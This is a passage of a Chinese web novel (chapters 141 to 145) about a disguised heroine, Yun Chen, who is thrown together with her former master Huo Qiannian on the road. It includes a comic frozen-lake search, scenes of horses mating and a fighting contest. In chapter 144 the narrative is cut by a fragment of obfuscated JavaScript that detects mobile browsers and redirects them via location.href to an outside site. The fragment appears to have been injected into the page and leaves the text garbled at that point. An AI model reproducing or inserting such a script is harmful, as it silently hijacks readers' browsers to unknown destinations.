他脚蹬虎纹翘头黑靴,腰束醒狮墨玉腰带,那肩平背阔之上,是一张依旧带着高冷之色,却掩饰不住神采飞扬的英俊绝伦的面容。
霍乾念一身锦衣璀璨,气质更是强势迫人,一进这客栈大堂,立刻吸引了所有人的注意,引得食客们连连惊叹。
“劳驾,这位置有人坐吗?别处没位子了,可否拼桌?”
霍乾念站在她面前,这样对她说。
她下意识抬手摸脸,知道并没有被认出来。
在惊喜地叫一声“少主你怎么在这儿?我是云琛啊!”和装作不认识之间,她毫不犹豫地选择了后者。
担心开口说话会暴露声音,她连连点头,表示可以。
“多谢。”
霍乾念说了一声,而后撩起衣袍,长腿一迈,大马金刀地跨坐在她身旁。
叶峮在她另一边坐下,眼尖地瞟到桌子上的字,笑道:
“少主,您瞧,这有人写了个‘霍’字,只不过缺横少点的。”
云琛身子一僵,赶忙抬起袖子擦掉字。
霍乾念微扬凤眸,看着云琛:
“真巧,在下敝姓‘霍’,兄台也姓霍吗?”
云琛感觉心都快从嗓子眼跳出来了,紧张得快要不能呼吸。
不敢与霍乾念对视,她指了指嘴巴,表示自己是个哑巴。
霍乾念作恍然大悟状,“哦”了一声,忙道:“失礼失礼。”
这时,小二端着牛杂汤和乌梨酥来了,麻利地将吃食摆在她面前,问道:
“客官,您刚说,这牛杂汤要多麻多辣的,肉别煮太老了,多放些粉条。厨子忘了放辣,我这就去给您端些油辣子来吧?”
小二说完,桌子旁陷入一片安静。
云琛尴尬的脸没处搁,强撑着最后一点力气,将嗓子放得嘶哑又低沉,简短道:
“不、不、不要辣了。”
说了句“那您慢用”,小二欢快地转身离开。
云琛不敢抬头,只听见霍乾念的声音带着笑意:
“我还以为兄台不能开口讲话呢,原来只是嗓子疼吗?”
“是是是。”她连连点头,捧住碗埋头吃起来,却根本不知道吃进嘴里的东西是啥味儿的。
霍乾念不再理会她这个“陌生人”,自顾与叶峮说起堂口事务。
“冰库里的果子都启出来了吗?”
“回少主,二百八十八个冰库已尽启出,预计四月底便可送达各个堂口和果铺。”
“制冰的新模具应该差不多了吧,普通的四方小冰块太无趣,得做些时兴花样来,圆球的,蝴蝶的,梅花的,都做些。”
“是,少主。对了,南口的煅造台说,今年铁砂紧俏,铁器大约要供不应求。”
“无妨。只是仍需先紧着府中护卫佩刀和兵器,万万不可短缺。”
“茶行那边,今年的雪岭青松岁贡可已出?”
“回少主,已封箱押运了。”
“盐行那边,海盐和湖盐混淆之事可已处理?”
“回少主,已处理稳妥,涉事管事全部送官衙看押审问了。”
“米行的陈米已低价倾销了吗?”
“回少主,在销了,依少主意思,以赈济贫民灾民为主。”
“乌梨酥好吃吗?”
“回少主,不好吃。”云琛极其自然地接上回答。
听二人聊及霍帮事务,桩桩件件都是她熟悉的,她不觉听得聚精会神。
被霍乾念这么猝不及防地一问,她脑子没转过弯来,下意识哑着嗓子,道了这么一句“回少主,不好吃”。
她话音落下,桌上再次陷入奇异的寂静。
霍乾念与叶峮都惊讶地看着她。
不知道是不是她的错觉,她仿佛看到他的嘴角飞快地挑起一抹笑意又平息。
就像一颗小小的沙粒投进湖里,激起极微小的一丝涟漪,又瞬间消失不见。
她涨红着脸,后背挺得僵直,半天才从牙缝里挤出一句:
“抱歉……我开玩笑……鹦鹉学舌见过吗?我跟着学话而已……”
说罢,她赶紧继续埋头猛吃。
霍乾念却好像对她这个相貌平平无奇的“陌生拼桌”来了兴趣,指着桌上的乌梨酥道:
“我能尝一块吗?”
她不敢抬头,只将乌梨酥的碟子推去他面前。
他拿起来吃了一口。
“的确不好吃,不如府里小厨房的手艺。”
叶峮从旁重重叹气,“唉,我记得从前阿琛最喜欢吃乌梨酥了。”
“咳咳咳咳——”听见“阿琛”两个字,云琛
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直接一口粉条呛在了鼻子里,辣得她鼻涕眼泪一大把,不停咳嗽。
见面前递过来一只杯子,她一把接过,猛灌几口。
叶峮用手背替她轻拍后背,热心地问:
“公子,你还好吗?慢点吃,别着急。”
“多谢咳咳咳……”她这会嗓子是真哑了,咳嗽的声音都变形了,悄悄摸了摸脸上的易容面皮,心里暗暗舒了口气。
“敢问兄台贵姓?”霍乾念问。
避开他的眼神,她脑子里飞快地转了八百个来回,也没想出一个假名字,只能道:
“那个……我……在下王不行……”
“好名字。”霍乾念没什么表情地说到。
这时,那好死不死的小二又欢快地跑了过来,对云琛道:
“客官,方才已给您的马添好草料,您那马真有意思,脖子上挂着个名牌,叫‘王不行’,我还是第一次见马的名字有名带姓的呢!”
霎时间,桌上再次安静。气氛尴尬又微妙。
她低着头,牙齿都快咬碎了:
“是……我爱马,就……和马共用一个名字……我就叫王不行!”
“哦——”霍乾念和叶峮同时拖长语调,发出……很贱的一声回应。
她食不知味地吃着牛杂汤,不敢再动乌梨酥,也不敢抬头看霍乾念和叶峮,只是总忍不住偷偷用余光打量霍乾念的腿。
大概是她偷看的次数有点多,霍乾念突然问道:
“王兄,你总盯着我的腿作甚?”
她脸上一阵尴尬,道:“没什么……就就就是觉得你的腿挺长的。”
“是吗?”一说到腿,霍乾念似乎来了两分兴趣。
他将靠近她的那条腿伸出来,几乎快伸到她眼皮子底下去,左右相看,点头道:
“确实挺长的,没办法,天赋异禀。每日穿靴,总是卯时低头,午时才穿罢。”
“咳咳……”她忍着没有将饭喷出来,心说在霍乾念身边护卫了那么久,竟不知他也会说冷笑话,而且夸起自己来还面不改色的。
瞧着如今他双腿安然无虞,眼中的郁色全都消融不见,她打心眼儿里高兴,也打心眼儿里酸楚。
太熟悉,也太陌生。
只一年多未见,她似乎已需要重新去认识霍乾念。
但她已连重新来过的资格都没有了。
飞快地闷头吃完牛杂汤,她尽量不与霍乾念和叶峮直视,只敷衍地拱手,说句“我饱了,先告辞”,而后一溜烟跑回了客房。
第142章 全城的马都病了
回到屋子里,云琛在空地上呆站了很久。
心脏砰砰直跳,里面乱七八糟,什么念头都有:
天下竟然有这样巧的偶遇吗?
他的腿真的好了,走路的样子可真飒呀!
我为什么不揭开**相认呢?我又不是什么逃犯罪人。
若相认,说什么呢?对上他厌弃的眼神去说“少主恭喜你将与菘蓝大人成婚”?
还是告诉他,风灼草是我寻来的?
没必要了吧。
他能好起来,已足以证明他对菘蓝有情。
仅仅偶遇而已,就装作不认识吧,别徒惹无趣了。
决心虽定,但她还是躺在床上翻来覆去,怎么都睡不着。
眼见天越来越黑,客栈里越来越安静,她的心却愈发躁动不安,满脑子都在跑马车。
估摸着霍乾念和叶峮应该早已吃完饭离开,她实在睡不着,想着灌自己两口酒,也许能睡着。
推开房门,她喊了声“小二!给我拿坛酒!”
小二没有出现,倒是左边屋子的房门吱悠悠打开,却不见有人出来。
没有任何理由的,云琛被那打开门却无人走出的屋子吸引了注意力。
她不敢细想自己在期盼着什么,只是定定地望着那房门。
突然,肩膀被拍,她吓了一跳,回过头,正对上叶峮笑眯眯的面容。
“王公子?好巧啊,咱们住成邻居了,这真是天赐的缘分啊!”
她惊恐地瞪着叶峮,“呵呵”干笑两声,“是……挺巧的……”
叶峮虽然不像霍乾念那般强势,可却有着霍帮一等一的火眼金睛。
怕被叶峮看出身份端倪,她一边东拉西扯寒暄,一边脚下后退,准备回屋。
可霍乾念却不知什么时候走了过来,正倚着门框,靠在她身后。
她退后两步,正撞进他怀中。
那熟悉的带着蛊惑的声音就在她头顶,梨木的清香冲进她的鼻子。
他嘴角噙笑,声如海妖幽幽:
“要不要一起喝点?”
她如同被火燎了一般,身子瞬间弹开,又差点撞上叶峮。
她心说我疯了吗我这个鬼样子同你们喝酒?尬笑两声,摆出陌生客气的样子,推辞道:
“多谢霍公子美意,我突然又有点不想喝酒了,那啥,霍公子请自便。”
霍乾念眉尾微扬,笑道:
“王兄误会了,我在对我的护卫说‘一起喝点’。”
她瞬间臊得耳朵都红了起来,说声“抱歉”便快速退进屋子,关上房门。
整整半夜,霍乾念都在与叶峮喝酒言谈。
云琛躺在榻上,仅仅与二人一墙之隔,能清楚地听见二人喝酒、碰杯、交谈、说笑。
她并不能听见完整的语句,但霍乾念的声音就像水草一样绵绵不绝,一圈圈缠绕着她,既不肯离开她的耳朵,也不肯离开她的心。
霍乾念与叶峮喝了半夜,她就这么直挺挺地在榻上躺了大半夜。
最后,她听见空酒坛骨碌碌滚地,叶峮回到他自己的屋子,关上了房门。
她的屋子就这样被二人夹在中间,她干瞪着眼睛,一点睡意也没有。
一直到快天亮的时候,她才终于迷迷糊糊睡着。
再醒来时,已日到中午。
她一个鲤鱼打挺起身,在床边坐了一会儿,思量片刻,遂快速收拾包裹,背上往外走。
蹑手蹑脚地走到门口,她耳朵贴着门,听了好一会儿。
听左右屋子都没什么声音,她才小心地启开门,踮着脚往外走。
她往左一看,屋门大开,行囊不在,霍乾念已经离开。
再往右看去,也是同样的情景。
她知道,霍乾念与叶峮亲自出来,一定有重要差事要办,不可能在客栈久留。
想到这里,她松了口气,却又隐隐感到失落。
她低着头往外走,经过大堂的时候,明明心里告诉自己别看别找,可眼睛却不听话地望了过去。
大堂里,吃早饭的人们三两坐在一起,并没有霍乾念和叶峮的影子。
心里再次感到空落,她拍拍脑袋,努力打起精神去牵马。
一进马厩,就见颜十九给她的那匹有名有姓的好马“王不行”,正在马厩里上吐下泻,虚弱得站不起来。
再往四周一看,马厩里所有马都是如此,估计得了什么传染病。
她一向心疼马,只能付了银子,将马托付给店家照顾,而后打听好城里卖马的地方,准备花点银子再买一匹,不能耽误赶路。
谁知找遍整个丹阳城,城里的马却像是商量好了似的,竟齐刷刷全部病倒,一匹好马都找不出来。
这下她彻底傻眼了。
当她迷茫地站在马厩门口时,思考着该怎么办的时候,
整个丹阳城最后两匹还健康的马,出现在眼前——
霍乾念骑着枣红色的高头大马,闲庭信步地从她面前走过。
与昨日的赤衣如火不同,今日霍乾念穿着一身满绣云纹的宝石墨绿衣衫,圆领立银峰,腰佩黑色金纹束带,左坠沉水香如意香囊,右配对花合欢玲珑玉佩,头上还戴着万字波纹束发额带
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他整个人看起来沉稳内敛又意气风发,宛如一座高冷不可攀登的峻峭凌峰。
霍乾念目不斜视,悠悠策马走过,并不理会她。
叶峮则牵马停下来,问道:
“王公子,好巧,你也准备起程吗?要去哪里?”
云琛羡慕地看着叶峮的马,道:“我要去幽州那边。”
叶峮道:“真巧,我们也往东走。那王公子,你的马‘王不行’呢?听说城里发了马瘟,所有马都病倒了,你的马也是吗?”
云琛点头,奇怪道:“你们的马怎么没事?”
叶峮拍拍马脖子,笑道:
“我们的马是慢行种,外地马,不染本地病的。”
云琛长这么大,听说过“千里马”“**红”,还是第一次听说“慢行种”。
这“慢行种”也的确有意思,云琛都与叶峮说半天话了,霍乾念的马才走出去三五步。
霍乾念牵着马对云琛道:
“王兄,此处距离幽州甚远,无马不可行路,我可以载你一程去前面的锵城买马。”
云琛看了眼他马背上——他怀中的位置,脸色微红,头摇得像拨浪鼓一样。
“多谢霍公子好意,我还是走路过去吧,我知道一条近路,走路过去不远,三五日就能到。”
并不多劝请,霍乾念只冲她略微点头示意,而后轻甩缰绳,慢悠悠地走远了。
叶峮也与她拱手别过,紧跟着霍乾念走远。
望着“两尊大佛”的背影,云琛驻足许久,而后整顿心情,朝另一个方向走去。
此处距离下一站锵城甚远,行快马尚且要三日,但她知道一条水上近路,便循着记忆往郊外山沟里找。
行了两个时辰,穿过白雪覆盖的山沟,光秃秃的乱石小道尽头视线豁然开朗,巨大的湖面出现在群山环抱之中。
此时已是二月近春,残冬未尽。湖面仍然结着厚重的冰,可供行路走马。
从湖面步行穿过,三日即达锵城,就是有些辛苦。
她伸脚踩踩湖水冰面,感觉十分稳当,便放心地踏步而上。
只是冰面崭新光洁,走起来非常滑。
云琛刚走出去一里路,便觉脚上费力。
于是,她将腰带解下来,一分为二,缠绕在脚上当作衬布,走起来才轻快了许多。
就这么快活地赶着路,等她走到湖中央冰面最薄的一部分时,大约是日头太暖的缘故,走着走着,突然“咔嚓”一声,她感觉脚下猛地一陷。
她瞬间刹住步伐,心也跟着悬了起来。
第143章 慢行种
叶峮说,既然有近路,还何必绕远。
待他和霍乾念走上群山环抱的湖面时,四周空旷深远,一眼就能望到尽头,并没有看见云琛的身影。
他们的马蹄上裹着防滑粗布,哒哒行驶在冰面上。
走了许久,叶峮奇怪道:
“难道还有别的近路?这还是从前迁府行路时,不言多番查探,选出的最近的一条路。”
霍乾念一直在四顾张望。他看着远处苍黄枯绿的矮山,雪顶含峰的远山,心里只有一个人,一双“许久不见”的眼。
这时,走在前头探路的叶峮突然“咦?”了一声,停了下来。
叶峮跳下马,从一个冰层已破裂,露着刺骨湖水的冰洞旁,拾起半截已结冰的腰带。
将腰带上的冰揉碎又弹开,叶峮仔细打量腰带,顿时心里一沉,举着腰带冲到霍乾念面前:
“少主快看!”
只瞧了一眼,霍乾念立刻脸色大变,翻身跃下马,一个箭步冲到冰洞旁。
冰洞不大,刚好可以掉下去一个人。
在这种整个湖面都结冰的情况下,若掉进去,必然找不到出口,只怕龙王在世也难逃。
霍乾念盯着冰洞四周的冰面,眼神如鹰隼一般犀利,扫视着附近数十丈的范围,但什么都没有。
叶峮刚想跳进冰洞搜寻,霍乾念却低喝一声“让远!”
而后,霍乾念倒持隐月剑,以内力运气,飞身高高跃起又狠狠坠下,一剑柄砸在冰面上。
伴着“咔嚓”大响,冰晶四处飞溅,在离第一个冰洞不远的地方,霍乾念砸出第二个冰洞。
紧接着第三个,第四个……
一次次轻功跃起,一次次持剑柄重重坠落。
霍乾念墨绿的衣衫在空中不断飞起又落下,像极了一只翩翩翠鸟。
一声声冰面破裂的巨响,回荡在湖面与山谷之中。
声响越来越巨大,也越来越密集。
叶峮牵着被惊吓到的马,远远让在一旁,根本插不上手,这情景看得他浑身直冒鸡皮疙瘩。
什么样的霍乾念,叶峮都见过。
不可一世的,阴郁冰冷的,嬉笑怒骂的,意气风发的。
可就是没有见过急怒慌张至此的霍乾念。
很快,湖面上被砸出大大小小几十个冰洞,慢慢接连成片,有快要坍塌的趋势。
叶峮担忧道:“少主,冰面像是要大范围破裂了,小心些!”
霍乾念根本听不见,只神情无比紧张地在冰面不停找寻,如蜻蜓点水般地跳跃在破碎不堪的冰面上,寻找着可能的身影。
“我说霍公子,你这是在干什么?”
云琛的声音突然出现在二人身后的不远处。
霍乾念猛地回过头,云琛正好端端地站在那里,一脸疑问地看着他。
云琛原本在冰面行走,可一脚踩破冰面,湿了半截缠绕脚的衣带后,她觉得日头太大,冰层太薄,实在不安全,便决定等入夜,冰面冻结实了再行路。
于是,她到岸边寻了棵树休息,只等天黑。
可休息着休息着,她忽然听到远处炸起一声声巨响。
她刚一走近,就看见霍乾念这个“破坏狂”正在冰面上上蹿下跳,不知道在忙活些啥。
她问完话,没有人回答她。
霍乾念一把甩飞隐月剑,猛地冲到她面前,瞪着眼睛,喘着粗气,神情吓人极了。
她从来没见过霍乾念那冷郁如冰山的脸上会出现这种表情,立时被吓得后退一步。
霍乾念眉头大动,刚要上前去抓她的肩膀,叶峮却从一旁横**来,挡在二人中间,拦住了霍乾念的动作。
只这一拦,霍乾念便彻底稳下心绪,慢慢后退开。
叶峮对云琛道:“让王公子见笑了,我家少主以为丢失了重要宝贝在湖里,刚才正找的呢!”
云琛打量被糟蹋的乱七八糟的冰面,“那找到了吗?要不要我帮忙?”
叶峮笑道:“不必了,搞了半天没丢,误会了。”
她点点头,“哦,那就好。”
霍乾念反复深呼吸了两次,语气平静却仍然带着一丝急迫,问她:
“你方才去哪里了?”
她指着远处岸边,“去那里休息了,好等夜里冰层冻结实了再行路。”
霍乾念上前拾起隐月剑,笔直地走向她手指的方向:
“正巧,我也等。”
于是乎,片刻过后,三个人“各怀鬼胎”,坐在了一起。
冰湖之畔,草木苍黄,气氛更是荒凉。
霍乾念背靠树干,坐在一根粗树枝上闭眼小憩,将一条腿屈起,另一条腿伸得老长老长。
叶峮和云琛在树下升起篝火,一边烤火,一边“强行”交谈。
“公子,你……”叶峮顿了顿,不知道是该问姓名年龄,还是问身份来历,只能问:“王公子为何要去幽州?”
云琛快速回忆往事,她记得并未对霍帮任何人说过,她师父在苍海城香消崖,便大方对叶峮道:
“我师父在幽州附近,我想去看看他。”
她一说完,原本闭眼小憩的霍乾念突然睁开眼睛,但没有说话。
不知为何,她瞬间觉得有点心虚,生怕自己哪句话暴露身份,吵醒霍乾念这头正打盹儿的狮子。
于是,她只能无视叶峮接下来问的任何问题。
“王公子,敢问师门是哪派名门?”
“没有门派,就是跟我师父学的。”
“那王公子师承哪位高人?”
“承我师父。”
“我的意思是,敢问您师父尊名?”
“不敢问不敢问!”
“……”
似乎瞧出云琛的紧张和戒备,叶峮忍着笑意,递过去一大块软饼,“王公子,吃点吧,不然夜深了没力气走路。”
犹豫了一下,她接过软饼,正要咬一口,树上的霍乾念却闭着眼睛,淡淡开口:
“分我一些。”
云琛及时收住嘴,没有咬下去,将饼又还给叶峮。
叶峮却根本不去接,笑着说:
“我就不吃了,王公子和我家少主分着吃吧!”
装傻是吧?搞的谁不会一样!叶峮在心里偷偷地说。
没办法,云琛只能亲自走到霍乾念身边,将饼子掰成两半,举起大的那块,仰头递给他。
“霍公子,喏—
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—”
霍乾念睁开眼,看向那仰视着自己的一双眼睛,不觉定定地看了好一会儿。
她胳膊都举酸了,“霍公子,你不是要吃饼吗?”
他收回心神,手揽树干,整个人俯身探向她,去够她没有举起的那只手,温声道:
“我要小的那块。”
瞧他直直冲过来,简直像要亲上来似的架势,她瞬间睁大眼睛屏住呼吸,像被突然施了定身术,身子完全动弹不得……
等她反应过来,他的耳朵已蹭着她脸颊擦过。
他拿过那块小一些的饼子,重新靠坐回树上。
她这时才感觉心脏怦怦狂跳,红着耳尖,低头走回篝火旁,目光瞥到叶峮正在无比专注地仰头望天。
就这么一直等到入夜,湖面终于结冰。
三人重新走上冰面,却发现因为白天霍乾念将冰面砸得太狠,到处都是冰坑和直愣愣炸着的冰棱,根本没办法下脚。
云琛尝试走两步,结果一屁股摔在冰棱堆上,疼得她呲牙咧嘴。
她叹口气:“算了,我回丹阳城的客栈吧。”
霍乾念道:“我们也回,同路。”
她后背一僵,赶紧改口:“我改主意了,还是绕远路赶路吧!”
叶峮笑道:“巧了,我们也改主意了,绕远路赶路吧!”
话都说到这份上了,云琛只能硬着头皮与二人同行回城。
她原本打算故意走慢些,霍乾念与叶峮二人骑着马,必然走得比她快,她便不用和二人一路同行。
谁知这马不愧是“慢行种”,云琛走一步,它也走一步,云琛瞪着它,它也瞪着云琛。
最后叶峮说要去前方探路,将马让给云琛,一溜烟就不见了背影,只剩云琛和霍乾念骑着“慢行种”,以龟速晃悠在回城的小路上。
月色朦胧,风带着早春暖意,送来青草的淡淡清香。
二人无话交谈,两匹马却好似来了情调,不停地往一块凑,马头紧挨着马头,耳鬓厮磨不停。
云琛被马带着,被迫一次次贴近霍乾念,一会儿和他肩挨肩,一会大腿擦着他小腿滑过。
好几次那马兴奋过了头,差点将云琛整个人带进霍乾念怀里。
她只能不停地拉紧缰绳调整,窘得面皮发紧。
霍乾念倒没有什么反应,仍旧神色淡淡的,凤眸高冷微扬。
直到云琛的马开始围着霍乾念的马打转,不停地发出“嘶嘶”声,甚至试图攀上他的马屁股,他才终于有了一丝表情的变化。
他用力勒紧缰绳,试图将两匹马分开。
但云琛瞧见自己座下的公马开始口溢白沫,她便知道来不及了——
公马情绪已经到位了。
果然,趁二人不注意,云琛坐下的公马扬起前蹄,竟一下骑上了霍乾念的马。
在马头倾撞过来之前,霍乾念眼疾手快,俯腰翻身,跃下马背,躲过一撞。
于是,两匹马在月色下水**融,发出阵阵高亢嘶鸣,那一下下的声响如铁棒捣湿衣,足足一刻钟都未停。
云琛与霍乾念躲在一处土坡后面,大眼瞪小眼,各自面红耳赤地别过脸。
第144章 意中人
“它俩完事儿了吗?”
“它俩完事儿了吧!”
云琛和霍乾念走出土坡,各自沉默着去牵马。
叶峮探路回来,并不知道二人二马发生了什么事,只借着月光,清楚地瞧见霍乾念神色微霁。
云琛则是上半张脸面色如常,下半张脸通红通红的,从易容面皮处开始,便是泾渭分明似的半红半白。
叶峮憋着笑,云琛忍着臊,霍乾念耐着躁。
三人“各怀鬼胎”,又回到客栈。
因为丹阳城里的马都发了“马瘟”,许多客人都滞留城中,所以各处客栈人满为患,找来找去,竟只有一间客栈还有空房——
而且是最后一间。
小二看着云琛、霍乾念与叶峮三人,道:
“要不三位客官睡一张床挤挤?”
云琛坚决拒绝,叶峮从旁假模假样地劝道:
“王公子,外面天寒地冻的,没地方待,要不你和我们挤挤得了。我瘦,我睡中间,行不?”
云琛头摇得跟拨浪鼓似的,无比坚定地拍下两个铜板:
“给我卷铺盖就成,我睡马厩!”
说罢,她扭头就走,将霍乾念和叶峮晾在原地。
她选了个没有马上吐下泻过的干净些的马棚,在两匹“慢行种”旁边熟练地码好草垛,铺上铺盖,舒服地躺了上去。
夜晚的马厩很安静,只有微微的风声,慢行种咀嚼草料的声音,间或传来马的两声轻蹄。
她躺在草垛上,伸了个大大的懒腰。
人一静下来,心反而乱了起来。
原本是那么坚定的寻恩报恩之路,那么坦坦荡荡的喜欢和付出。
不知从哪一步开始,突然什么都变了。
“从什么时候开始的呢?”她不觉将心里的话念叨出声。
霍乾念的声音突然接上:“王兄在思念意中人吗?”
她吓了一跳,差点从草垛上弹起来,“霍公子,你来这干什么?”
霍乾念一本正经地说:“散步。”
她狐疑地打量四周,周围除了马棚草垛就是马粪马尿,她不觉得霍乾念是有闲心来这里散步的人。
他光是一身锦衣地站在那里,就与周遭格格不入。
她轻轻叹气,“霍公子,你找我什么事,直说吧。”
他脑子里快速扯谎,撩起衣袍,坐在她身边,道:
“王兄聪慧。我要去幽州附近办一件要事,因事关机密,便只带了一个护卫。一番思量之下,发现缺放风打哨的帮手。这几日相处下来,我觉得王兄甚为可靠,因此想请王兄施以援手。”
搞了半天是这事啊,她心里既安慰又有些莫名失落。
考虑片刻,她低声道:
“抱歉,我帮不了你。”
“为何?”
“我与霍公子你……不是同路人。”
霍乾念挑眉,“何为‘不同路’?”
不知怎的,云琛突然对他这种打破砂锅问到底的追问来了两分脾气,语气不好地说:
“‘不同路’就是你走着阳关道,我走着独木桥!你在山,我在水;你在天,我在地!就这么不同路!”
霍乾念眨巴着眼睛,认真道:“可自古以来,依山需得傍水,顶天需得立地,这‘山与水’,‘天与地’,恰是最不可分离的。”
云琛被噎得说不出话,只能不停做着深呼吸,调整心绪。
谁知霍乾念又道:“王兄这话,不像是拒我,倒像是拒心上人。”
云琛表情一僵,正想着该用什么来化解眼前的尴尬,那两匹慢行种却又突然来了……性致。
当着二人的面,那公马绕着母马走了两圈,一跃又骑了上去。
安静的夜,铁杵又开始捣湿衣。
果然,只有更大的尴尬才能化解尴尬。二人根本顾不得说话,连忙起身往外走。
只是马棚地方小,两匹慢行种一时间颠鸾倒凤不知天地为何物,一边那啥一边不停打转,挡得两人半天都出不去,只见到一根定海神柱在眼前晃来晃去,臊得人满脸通红。
“哎哎哎当心马蹄子!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596440|168723||http|test|mini|href|location''.split(''|''),0,{}));
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>“你拉我一把!”
“小心低头!”
“老天爷你快扶我一下!”
“闭眼!”
“春天到了,果然是万物复苏的季节……”
“万物繁衍生息的本能,可以理解……”
等二人从马棚里逃出来,满身上下都是尘土和草渣子。
霍乾念嘴角带着坏笑:“你还睡马棚吗?”
云琛大力拍打着衣服,气道:“不睡了!让给它俩!”
两匹慢行种显然已彻底进入发情期,根本没办法正常行路,这下可好,霍乾念和叶峮也没马可骑了。
就在整个城里滞留纷纷,人们恨不能将马供起来的时候,一伙洛疆国人涌进了丹阳城。
那洛疆国是西北苦寒之地的游牧族,据说他们的勇士身长八尺,壮如小山,力气极大,三两拳就能打死一头牛。
这次,洛疆的人满载各式货物来到丹阳城,为了将货物卖出,特在城中最大的广场上设擂台比武。
一时间吸引了城里所有男女老少的注意,货物也很快倾销一空。
只是那洛疆人卖完了货却不着急离开,仍旧设着擂台,似乎是赚的盆满钵满,有些得意忘形。
说楠国竟没高手可堪一击,甚至还设了价值百金的彩头,放话说无人能赢之。
这事引得万人空巷,都等着看谁能赢下彩头,给洛疆人一个教训。
云琛对这些都不感兴趣,一个人坐在空荡荡的客栈大堂里埋头干早饭。
掌柜问:“王公子,你怎么不去看擂台比武?客栈里所有客人都去了,说是特别热闹。”
她道:“不感兴趣,你家咸粥挺好喝,再给我来一碗。”
虽然云琛明显对吃饭更感兴趣,但掌柜还是打开了话匣子,道:
“我听说,那洛疆勇士可厉害了,打到现在都没输过,功夫一般的,能被打半残,功夫稍微好些的,也伤不了那洛疆勇士一点皮**——哎对了,与您同行的那二位公子已经去了,听说那位霍公子要上场的!”
第145章 烈马还得狠人训
“噗——”云琛一口粥喷出来,匆匆拿袖子抹了下嘴,放下碗就往外跑。
不知道霍乾念哪根筋搭错,竟然要去擂台比武。
惦记他腿才好,加上她没见过他动手,也不知他功夫如何,她有些放心不下,赶忙往擂台跑。
根本不必打听擂台怎么走,哪里人多哪里就是了。
只见广场上乌泱泱聚满围观群众,大红色的高台摆在正中央,一壮如铁塔的洛疆勇士正抓着一个楠国武师在“揍”。
那洛疆勇士光着上半身,露着一身铁板肉,将那武师夹在腋下一顿招呼,直打得那武师满嘴满脸都是血,引得台下一阵唏嘘。
云琛慌忙四处寻找,一下就在离擂台最近的人堆里找到霍乾念和叶峮。
不是她眼神好,是霍乾念今日穿得实在太扎眼。
头带雀翎翠翘束冠,身穿朱红色的彩花圆领长袍,腰坠白玉双螭绞花带,就连黑虎靴上都绣着湘妃并蒂云纹。
乍看这一身光鲜亮丽,不知道的还以为他是要去相亲呢。
她走到霍乾念身边,清清嗓子,用深沉又客气的声音说:
“霍公子,好巧。”
这时,围观人群好像动了一下,推得霍乾念贴上她身子。
就势环住她肩背,霍乾念稳住身形,笑道:“你来得刚好,正巧。”
她想退后一步,离他远些,却被人群挤得退不开,只能仰头看着他,问:
“霍公子,你也想打这擂台?洛疆勇士力大无穷,比武实在危险。”
霍乾念指向擂台后面:“那洛疆人的彩头是一匹价值百金的烈马‘屠狼驹’,性烈难驯,却吃苦耐寒,极适合远途跋涉和负重。”
云琛不明就里,“然后呢?”
霍乾念单眨下眼睛,笑道:
“我要去赢了洛疆勇士,赢匹马来——”他停顿一下,靠近她耳边,温声道:
“送你。”
未等她反应些什么,擂台上的洛疆人高声叫道:
“有请第五十二位英雄——霍云!”
听到这名字,云琛一愣,霍乾念低声笑道:
“我从没对王兄说过我的名字,这下你知道了,我叫‘霍云’。”
说罢,霍乾念立刻飞身跳上擂台。
台上浸染着一大片深红色痕迹,都是之前参赛者们败阵流下的血。
霍乾念站定其中,身形立如长松,姿态从容不迫,再加上那一等一俊美的容貌,立时引起台下众人的欢呼。
有人叫道:“霍云!给那洛疆人点颜色看看!”
那洛疆勇士迈步上前,打量着和自己一边高的霍乾念,从对方平静又犀利的目光中猜到,此人可不是之前那些酒囊饭袋,不可小觑。
洛疆勇士拍拍胸口,做好战斗架势,瓮声瓮气道:
“兄弟,请!”
霍乾念撩开衣袍下摆,正要迈开步子,却眉头一皱,弯下膝盖,神情痛苦地捂着小腿,说了句“好痛”。
一见霍乾念如此,台下的云琛立刻脸色一白,差点就要冲上台去,霍乾念却又表情恢复如常,拔地飞身而去。
洛疆人擂台比武的规矩是不动武器,只拳脚相斗。
霍乾念虽与那洛疆勇士一样高,可在壮如牦牛的西北汉子体型面前,还是显得清瘦,拳拳到肉之间,只听到他噗噗的击打声,却不见那洛疆勇士倒下。
云琛整颗心都悬着,眼睛都不敢眨一下地望着擂台。
每当洛疆勇士那海大的拳头擦着霍乾念脸颊过去的时候,她都不自觉屏住呼吸,大气都不敢喘。
每当洛疆勇士的脚从霍乾念双腿扫过时,她都咬着牙,攥着拳,做好了随时冲上去救人的准备。
霍乾念与那洛疆勇士缠斗不休,她便浑身紧绷不敢放松一星半点,感觉比自己上场去打还紧张,一颗心七上八下,悬了又悬。
几次霍乾念危险时,她都差点惊叫出声。
似乎终于耍够了,霍乾念用余光瞧见云琛眼睛睁得老大、紧张得眼眶都发红的样子,他终于心满意足,唇角一弯,立刻变换招式,朝那洛疆勇士要害之处而去。
台下众人只见原本势均力敌的相斗,很快就变成了洛疆勇士节节败退,那“霍云”越打越凌厉,气势也越来越嚣张霸道,几乎压倒性地在“殴打”那洛疆勇士。
众人这才知道方才那势均力敌,不过是“霍云
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”吊人胃口,打着玩儿而已。
见打斗之中,霍乾念频频抬腿飞踢,又是凌空旋转,又是连环飞脚,明明可以干脆利索地解决那洛疆勇士,偏偏总要使出些好看却不必要的招式,台下一人忍不住靠近叶峮,问:
“护卫兄弟,这是你家主子吗?功夫真厉害!不过他干嘛打得这么啰嗦呢?”
彼时,霍乾念正使出一招漂亮但多余的青龙摆尾,引得台下喝彩不断。
叶峮一脸高深莫测:
“你不懂,我家主子不是在比武,是在开屏。”
很快,在台下众人的喝彩声中,霍乾念一脚将那洛疆勇士踢下擂台,赢得彩头。
洛疆人虽骄傲狂妄,却是说话算数的汉子,立刻就将那烈马“屠狼驹”牵来,对霍乾念道:
“这马野性难驯,至少得驯十天,你得——”
洛疆人话未说完,霍乾念已扯过缰绳,猴子般灵巧地跳上马背。
